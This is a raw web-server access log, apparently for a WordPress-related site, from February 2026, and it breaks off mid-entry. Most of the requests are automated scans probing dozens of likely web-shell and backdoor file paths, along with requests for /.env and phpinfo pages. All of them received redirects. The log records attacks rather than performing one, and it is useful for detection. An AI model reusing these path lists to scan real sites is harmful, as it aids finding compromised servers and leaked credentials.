[25/Feb/2026:07:37:23 +0300] "GET /wp-includes/Text/Diff/Engine/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:25 +0300] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:28 +0300] "GET /wp-includes/SimplePie/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:30 +0300] "GET /wp-includes/IXR/info.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:33 +0300] "GET /wp-content/plugins/wp-style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:35 +0300] "GET /wp-content/xp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:38 +0300] "GET /assets/admin/skin/base/mixins/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:41 +0300] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:45 +0300] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:45 +0300] "GET /wp-includes/Requests/library/min.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:48 +0300] "GET /wp-includes/blocks/query-title/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:49 +0300] "GET /wp-includes/blocks/query-pagination/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:49 +0300] "GET /wp-includes/css/dist/nux/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:50 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:50 +0300] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:51 +0300] "GET /wp-admin/network/datate.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:54 +0300] "GET /wp-includes/sodium_compat/lib/lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:57 +0300] "GET /wp-includes/js/wp-work.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:00 +0300] "GET /wp-includes/rest-api/search/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:05 +0300] "GET /wp-content/themes/lifeempore/content- HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:10 +0300] "GET /wp-content/themes/lifeempore-v1/content- HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:15 +0300] "GET /wp-content/themes/lifeempore-v2/content- HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:18 +0300] "GET /wp-content/themes/twentynineteen/content- HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:22 +0300] "GET /wp-includes/blocks/post-excerpt-constructor.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:26 +0300] "GET /wp-admin/edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:31 +0300] "GET /wp-admin/includes/class-ftp-sockets-more.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:36 +0300] "GET /wp-admin/options-privacy-pic.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:41 +0300] "GET /wp-includes/post-template-soap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:46 +0300] "GET /wp-includes/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:51 +0300] "GET /wp-admin/privacy-beta.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:38:56 +0300] "GET /wp-content/uploads/revslider/templates/particle-effect-three/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:01 +0300] "GET /wp-content/uploads/revslider/templates/magazineposts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:06 +0300] "GET /wp-content/uploads/revslider/templates/landing-page-hero/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:10 +0300] "GET /wp-content/uploads/revslider/templates/le-chef-la-carte/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:15 +0300] "GET /wp-content/themes/flatco/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:19 +0300] "GET /wp-content/themes/flatco/framework/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:24 +0300] "GET /wp-content/themes/Avada/woocommerce/checkout/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:29 +0300] "GET /wp-content/themes/Avada/includes/recaptcha/src/ReCaptcha/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:34 +0300] "GET /wp-content/themes/target/admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:38 +0300] "GET /wp-content/themes/dt-the7/inc/extensions/options-framework/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:42 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:46 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:51 +0300] "GET /file1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:55 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:39:56 +0300] "GET /wp-includes/wp-includes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:01 +0300] "GET /wp-content/wp-rocket-config/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:06 +0300] "GET /wp-includes/pomo/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:11 +0300] "GET /wp-includes/block-supports/cloud.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:15 +0300] "GET /wp-admin/css/colors/termps.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:18 +0300] "GET /wp-admin/css/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:23 +0300] "GET /wp-includes/blocks/social-links/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:28 +0300] "GET /wp-admin/man.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:31 +0300] "GET /images/1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:35 +0300] "GET /wp-content/plugins/cherry-plugin-master/includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.94.31.242 - - [25/Feb/2026:07:13:40 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 43.166.247.82 - - [25/Feb/2026:07:27:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.94.31.242 - - [25/Feb/2026:07:13:40 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [25/Feb/2026:07:13:40 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [25/Feb/2026:07:13:40 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [25/Feb/2026:07:13:40 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [25/Feb/2026:07:13:40 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 85.203.23.95 - - [25/Feb/2026:07:40:40 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:45 +0300] "GET /wp-admin/css/colors/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:49 +0300] "GET /wp-content/themes/siara-corporate-business/template-parts/header/styles/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:52 +0300] "GET /wp-content/wtu_gagal.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:55 +0300] "GET /wp-content/plugins/pgaas/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:40:58 +0300] "GET /wp-content/plugins/mtodm/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:01 +0300] "GET /wp-content/plugins/elementor/modules/atomic-widgets/prop-types/transform/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:06 +0300] "GET /wp-content/plugins/elementor/modules/kit-elements-defaults/import-export-customization/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:09 +0300] "GET /wp-admin/wp-maiI.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:12 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:15 +0300] "GET /wp-content/plugins/wophq/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:18 +0300] "GET /wadd-wp-bookls.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:21 +0300] "GET /wp-content/plugins/wordpress-seo-extended/admin/views/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:24 +0300] "GET /wp-includes/class-walker-page-dropdown-first.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:26 +0300] "GET /wp-includes/widgets/class-wp-widget-tag-cloud-new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:29 +0300] "GET /wp-admin/zer.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:32 +0300] "GET /wp-admin/includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:34 +0300] "GET /wp-admin/includes/screen-event.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:38 +0300] "GET /wp-admin/network/site-info-client.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:40 +0300] "GET /wp-admin/wp-mails.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:43 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:46 +0300] "GET /wp-admin/dofault.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:49 +0300] "GET /wp-admin/file-manager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:51 +0300] "GET /wp-content/themes/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:53 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:55 +0300] "GET /wp-includes/block-bindings/zczv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:41:58 +0300] "GET /wp-content/plugins/Iitespeed-cache/drive.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:42:02 +0300] "GET /assets/images/selam.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:42:05 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:42:08 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.152.72.247 - - [25/Feb/2026:06:38:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.94.31.242 - - [25/Feb/2026:07:13:40 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 89.124.72.205 - - [25/Feb/2026:07:51:15 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Herring/95.1.8810.11" 160.250.130.72 - - [25/Feb/2026:08:46:40 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 3.151.194.164 - - [25/Feb/2026:08:19:08 +0300] "GET / HTTP/1.1" 301 795 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 49.234.192.248 - - [25/Feb/2026:10:14:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.68.2 - - [25/Feb/2026:11:07:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 159.223.107.120 - - [25/Feb/2026:09:52:23 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 66.249.68.4 - - [25/Feb/2026:11:07:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.4 - - [25/Feb/2026:11:09:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.2 - - [25/Feb/2026:11:09:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 172.86.73.129 - - [25/Feb/2026:10:52:47 +0300] "GET /kickstart.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 43.135.140.225 - - [25/Feb/2026:12:32:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 143.110.226.237 - - [25/Feb/2026:12:04:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 169.197.142.180 - - [25/Feb/2026:11:42:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 181.215.182.129 - - [25/Feb/2026:12:18:32 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 173.252.82.10 - - [25/Feb/2026:13:00:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 45.148.10.124 - - [25/Feb/2026:13:02:25 +0300] "GET /_profiler/phpinfo HTTP/1.1" 301 795 "-" "Nokia6630/1.0 (2.3.129) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1" 43.156.168.214 - - [25/Feb/2026:13:21:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.194.217.192 - - [25/Feb/2026:13:50:44 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 192.71.2.9 - - [25/Feb/2026:15:09:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 114.96.103.33 - - [25/Feb/2026:16:55:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 147.182.197.124 - - [25/Feb/2026:16:36:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 116.76.39.181 - - [25/Feb/2026:16:37:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.4460.39 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3739.400" 172.86.73.129 - - [25/Feb/2026:18:16:21 +0300] "GET /zip.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 20.151.227.234 - - [25/Feb/2026:18:34:55 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 195.2.76.137 - - [25/Feb/2026:18:27:29 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 43.128.67.187 - - [25/Feb/2026:18:05:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 18.217.178.223 - - [25/Feb/2026:18:16:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 18.217.178.223 - - [25/Feb/2026:18:16:36 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.166.128.86 - - [25/Feb/2026:18:59:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 31.13.127.36 - - [25/Feb/2026:18:54:35 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 5.189.134.86 - - [25/Feb/2026:19:18:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1; rv:121.0) Gecko/20100101 Firefox/121.0" 20.151.227.234 - - [25/Feb/2026:19:39:28 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 34.121.43.118 - - [25/Feb/2026:21:04:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 4.204.200.32 - - [25/Feb/2026:21:35:38 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:41 +0300] "GET /xda.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:45 +0300] "GET /er.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:47 +0300] "GET /fault.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:50 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:53 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:55 +0300] "GET /leuk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:58 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:02 +0300] "GET /kolda.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:05 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:08 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:12 +0300] "GET /ya.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:16 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:33:16 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:34:29 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:16 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:21 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:24 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:27 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:31 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:34 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:36 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:44 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:48 +0300] "GET /fot.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:51 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:54 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:37:57 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:33:08 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:34:34 +0300] "GET /moshou.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:29 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:33 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:39 +0300] "GET /login8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:50 +0300] "GET /nnyvn.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:54 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:57 +0300] "GET /lul.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:33:58 +0300] "GET /pouhg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:34:02 +0300] "GET /vgtyu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:18 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:21 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:23 +0300] "GET /un.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:34:11 +0300] "GET /aq.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:34:15 +0300] "GET /opts.php HTTP/1.1" 301 795 "-" "-" 104.248.224.81 - - [25/Feb/2026:21:22:09 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 4.204.200.32 - - [25/Feb/2026:21:33:37 +0300] "GET 